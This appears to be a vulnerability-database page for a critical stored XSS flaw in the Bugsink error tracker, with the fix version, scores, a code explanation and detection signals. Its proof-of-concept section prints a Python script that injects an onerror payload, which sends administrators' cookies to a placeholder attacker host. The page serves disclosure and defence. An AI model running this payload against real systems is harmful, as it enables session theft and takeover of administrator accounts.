All vulnerabilities
CVE-2026-27614GHSA-vp6q-7m36-pq3wPYSEC-2026-301

Bugsink is vulnerable to Stored XSS via Pygments fallback in stacktrace rendering

bugsink bugsinkpipLibraries & packages
CVSS
9.3Critical
ExploitationPublic exploit codeCISA's assessment says proof of concept code is public, assessed 25 Feb 2026. Not in the KEV catalogCISA via CVE List
Exploit odds (EPSS)0.34%Chance of exploitation activity in the next 30 days, higher than 26% of CVEs. Scored 27 Oct 2026FIRST EPSS
Fixed in2.0.13Fixed versionGitHub
Published25 Feb 2026Updated 27 Oct 2026CVE List

What fixes it

  • 2.0.13bugsink, pipGitHub
  • 2.0.13bugsink, PyPIOSVpip install "bugsink>=2.0.13"

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

An unauthenticated attacker who can submit events to a Bugsink project can store arbitrary JavaScript in an event. The payload executes only if a user explicitly views the affected Stacktrace in the web UI.

Details

When Pygments returns more lines than it was given (a known upstream quirk that triggers with Ruby heredoc-style input), _pygmentize_lines() in theme/templatetags/issues.py:75-77 falls back to returning the raw input lines. mark_safe() at line 111-113 is then applied unconditionally - including to those unsanitized raw lines. Since DSN endpoints are public by Sentry protocol, no account is needed to inject. The payload sits in the database until an admin looks at the event.

# issues.py:75-77 - fallback path, no escaping
if len(pygmented) != len(lines):
    return lines  # raw HTML returned here

# issues.py:111-113 - unconditional mark_safe
return [mark_safe(line) for line in result]

Operational Signals

Exploitation attempts are likely to generate the diagnostic event:

"Pygments line count mismatch, falling back to unformatted code"

Installations that monitor Bugsink with Bugsink (or otherwise alert on internal errors) may see this message as an issue. While the condition can occur benignly, unexpected occurrences, especially from unusual languages (specifically ruby), warrant review.

PoC

Send a Sentry event to /api/<project-id>/store/ with a valid DSN:

import requests

payload = {
    "exception": {"values": [{"stacktrace": {"frames": [{
        "filename": "app.rb",
        "lineno": 2,
        "pre_context": ["<<~HEREDOC", "  foo", "HEREDOC"],
        "context_line": "<img src=x onerror=fetch('//attacker/?c='+document.cookie)>",
        "post_context": []
    }]}}]}
}

requests.post(
    "http://bugsink-host/api/<project-id>/store/",
    json=payload,
    headers={"X-Sentry-Auth": "Sentry sentry_key=<dsn-public-key>, sentry_version=7"}
)

Open the event in the bugsink UI as any admin. Cookie exfiltrates immediately.

Impact

This is a stored XSS vulnerability.

Successful exploitation requires:

  • The attacker can submit events to the project (i.e. knows the DSN or can access a client that uses it).
  • The Bugsink ingest endpoint is reachable to the attacker.
  • An administrator explicitly views the crafted event in the UI.

Under those conditions, the attacker can execute JavaScript in the administrator’s browser and act with that user’s privileges within Bugsink.

Text from GitHub Advisory Database

Affected versions 53

  • bugsink, pip<= 2.0.12GitHub
  • bugsinkaffected: < 2.0.13CVE List
  • bugsink, PyPIfrom first release, fixed in 2.0.13OSV
  • bugsink, PyPI0.0.1OSV
  • bugsink, PyPI0.1.12OSV
  • bugsink, PyPI0.1.13OSV
  • bugsink, PyPI0.1.14OSV
  • bugsink, PyPI0.1.15OSV
  • bugsink, PyPI0.1.16OSV
  • bugsink, PyPI0.1.17OSV
  • bugsink, PyPI0.1.18OSV
  • bugsink, PyPI0.1.19OSV
  • bugsink, PyPI0.1.20OSV
  • bugsink, PyPI1.0.0OSV
  • bugsink, PyPI1.0.1OSV
  • bugsink, PyPI1.1.0OSV
  • bugsink, PyPI1.1.1OSV
  • bugsink, PyPI1.1.2OSV
  • bugsink, PyPI1.2.0OSV
  • bugsink, PyPI1.3.0OSV
  • bugsink, PyPI1.4.0OSV
  • bugsink, PyPI1.4.1OSV
  • bugsink, PyPI1.4.2OSV
  • bugsink, PyPI1.4.3OSV
  • bugsink, PyPI1.5.0OSV
  • bugsink, PyPI1.5.1OSV
  • bugsink, PyPI1.5.2OSV
  • bugsink, PyPI1.5.3OSV
  • bugsink, PyPI1.5.4OSV
  • bugsink, PyPI1.5.5OSV
  • bugsink, PyPI1.6.0OSV
  • bugsink, PyPI1.6.1OSV
  • bugsink, PyPI1.6.2OSV
  • bugsink, PyPI1.6.3OSV
  • bugsink, PyPI1.6.4OSV
  • bugsink, PyPI1.7.0OSV
  • bugsink, PyPI1.7.1OSV
  • bugsink, PyPI1.7.2OSV
  • bugsink, PyPI1.7.3OSV
  • bugsink, PyPI1.7.4OSV
  • bugsink, PyPI1.7.5OSV
  • bugsink, PyPI1.7.6OSV
  • bugsink, PyPI2.0.0OSV
  • bugsink, PyPI2.0.0a1OSV
  • bugsink, PyPI2.0.1OSV
  • bugsink, PyPI2.0.10OSV
  • bugsink, PyPI2.0.11OSV
  • bugsink, PyPI2.0.12OSV
  • bugsink, PyPI2.0.2OSV
  • bugsink, PyPI2.0.3OSV
  • bugsink, PyPI2.0.4OSV
  • bugsink, PyPI2.0.5OSV
  • bugsink, PyPI2.0.6OSV

References 7